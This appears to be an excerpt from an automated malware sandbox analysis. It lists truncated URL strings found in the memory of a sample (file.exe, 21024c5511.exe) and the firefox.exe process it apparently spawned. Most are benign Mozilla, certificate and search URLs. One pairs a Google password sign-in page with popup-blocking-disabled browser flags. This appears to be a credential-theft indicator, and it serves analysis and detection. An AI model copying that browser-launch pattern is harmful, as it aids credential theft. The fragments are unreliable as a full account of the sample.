Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsbrowser.newtabpage.a
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentTypehttp://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1http://mozilla.org/#/properties/pocketFeatureGa
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabledhttp://mozilla.org/#/additionalPropertiesawesome-bar-re
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURLhttp://mozilla.org/#/properties/pocketShowLessFrequ
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabledhttp://mozilla.org/#/properties/quickSugg
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenariohttp://mozilla.org/#/properties/weatherFeatureGa
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResultshttp://mozilla.org/#/properties/quickSuggestEnabl
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCapresource://normandy/lib/PreferenceExp
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsresource://services-settings/Utils.sys.mjs
Source: firefox.exe, 00000019.00000003.2953976180.0000025E893A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2884588498.0000025E81E4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2884866102.0000025E81E13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E8311A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2928916659.0000025E892AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3065146353.0000025E81E3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E891C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3084718430.0000025E83403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2958021612.0000025E83DD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3020548386.0000025E7D103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3044134793.0000025E81137000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80DFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2884418416.0000025E81E6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2883993425.0000025E81E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2929896768.0000025E892AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3015823343.0000025E7C9DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3047335193.0000025E81403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3053736608.0000025E818EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3050848815.0000025E8169D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2929393111.0000025E8928B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3013624425.0000025E7C8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000019.00000003.2953976180.0000025E893A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2953976180.0000025E893A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3013624425.0000025E7C8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000019.00000002.3069732243.0000025E825BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000019.00000002.3047335193.0000025E81403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3083631249.0000025E83303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3052972846.0000025E81703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2960468168.0000025E825B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/firefox-view-notifi
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2953976180.0000025E893A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2953976180.0000025E893A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000019.00000002.3033711233.0000025E802F0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2874159292.0000025E81138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874853592.0000025E8116F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2873550106.0000025E8111D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/removeBookmarksOnPopupHidden
Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000019.00000003.2956838573.0000025E8915A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3080260742.0000025E82916000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.3011428041.0000025E72C70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80CB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81CE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3068152789.0000025E82433000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etpcolor-mix(in
Source: firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
